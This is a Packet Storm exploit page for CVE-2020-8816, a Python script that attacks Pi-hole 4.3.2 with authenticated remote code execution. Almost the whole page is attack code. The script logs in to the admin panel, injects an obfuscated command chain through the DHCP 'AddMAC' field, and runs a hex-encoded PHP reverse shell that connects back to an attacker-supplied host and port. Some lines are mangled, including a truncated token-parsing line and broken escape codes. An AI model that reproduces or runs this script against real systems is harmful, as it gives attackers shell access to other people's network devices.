Pi-hole 4.3.2 Remote Code Execution ≈ Packet Storm

# Exploit Title: Pi-hole 4.3.2 - Remote Code Execution (Authenticated)
# Date: 2020-08-04
# Exploit Author: Luis Vacas @CyberVaca
# Vendor Homepage: https://pi-hole.net/
# Software Link: https://github.com/pi-hole/pi-hole
# Version: >= 4.3.2
# Tested on: Ubuntu 19.10
# CVE : CVE-2020-8816
# Twitter: https://twitter.com/cybervaca_

import requests
import argparse
import base64

class Color:
PURPLE = '33[95m'
CYAN = '33[96m'
DARKCYAN = '33[36m'
BLUE = '33[94m'
GREEN = '33[92m'
YELLOW = '33[93m'
RED = '33[91m'
BOLD = '33[1m'
UNDERLINE = '33[4m'
END = '33[0m'

def informa(msg):
print (Color.GREEN + "[" + Color.RED + "+" + Color.GREEN + "] " + msg )

def get_args():
parser = argparse.ArgumentParser(description='CVE-2020-8816 Pi-hole RCE authenticated by @CyberVaca_')
parser.add_argument('-u', dest='url', type=str, required=True, help="URL Target")
parser.add_argument('-p', dest='port', type=str, required=True, help="LPORT")
parser.add_argument('-i', dest='ip', type=str, required=True, help='LHOST')
parser.add_argument('-pass', dest='password', type=str, required=True, help='Password')
return parser.parse_args()

banner = base64.b64decode("4pWU4pWQ4pWX4pSsIOKUrOKUjOKUkOKUjCAg4pWU4pWQ4pWX4pSs4pSsIOKUrOKUjOKUgOKUkOKUrCAg4pSM4pSA4pSQCuKVoOKVkOKVneKUguKUguKUguKUguKUguKUgiAg4pWg4pWQ4pWd4pSC4pSc4pSA4pSk4pSCIOKUguKUgiAg4pSc4pSkCuKVqSAg4pSU4pS04pSY4pSY4pSU4pSYICDilakgIOKUtOKUtCDilLTilJTilIDilJjilLTilIDilJjilJTilIDilJgKICAgICAgYnkgQEN5YmVyVmFjYQo=")

def login(url,password):
session = requests.Session()
paramsGet = {"login":""}
paramsPost = {"pw":password}
headers = {"Origin":url,"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0","Connection":"close","Referer":url + "/admin/index.php?login","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"PHPSESSID":"cabesha"}
response = session.post(url + "/admin/index.php", data=paramsPost, params=paramsGet, headers=headers, cookies=cookies, allow_redirects=False)
token = response.content.split("")[0].split("")[1].split('

def shell_reverse(url,token,payload):
session = requests.Session()
paramsGet = {"tab":"piholedhcp"}
paramsPost = {"AddMAC":"aaaaaaaaaaaa&&W=x24{PATHx23/???/}&&P=x24{W%%?????:*}&&X=x24{PATHx23/???/??}&&H=x24{X%%???:*}&&Z=x24{PATHx23*:/??}&&R=x24{Z%%/*}&&x24Px24Hx24Px24IFS-x24Rx24IFS'EXEC(HEX2BIN("" + str(payload).upper() + ""));'&&","field":"DHCP","AddIP":"192.168.1.0","AddHostname":"192.168.1.23","addstatic":"","token":token}
headers = {"Origin":url,"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0","Connection":"close","Referer":"http://172.31.11.3/admin/settings.php?tab=piholedhcp","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"PHPSESSID":"cabesha"}
response = session.post(url + "/admin/settings.php", data=paramsPost, params=paramsGet, headers=headers, cookies=cookies)

def generate_shell(ip,port):
payload = "php -r '$sock=fsockopen("LHOST", LPORT);exec("/bin/sh -i < &3 >&3 2>&3");'".replace("LHOST",ip).replace("LPORT",port)
informa("Payload: " + Color.END + payload)
payload = payload.encode("hex")
return payload

if __name__ == '__main__':
print(Color.RED + banner + Color.END)
args = get_args()
token = login(args.url,args.password)
informa("Token: " + Color.END + token)
payload = generate_shell(args.ip,args.port)
informa("Sending Payload..." + Color.END)
shell_reverse(args.url,token,payload)

Comments are closed.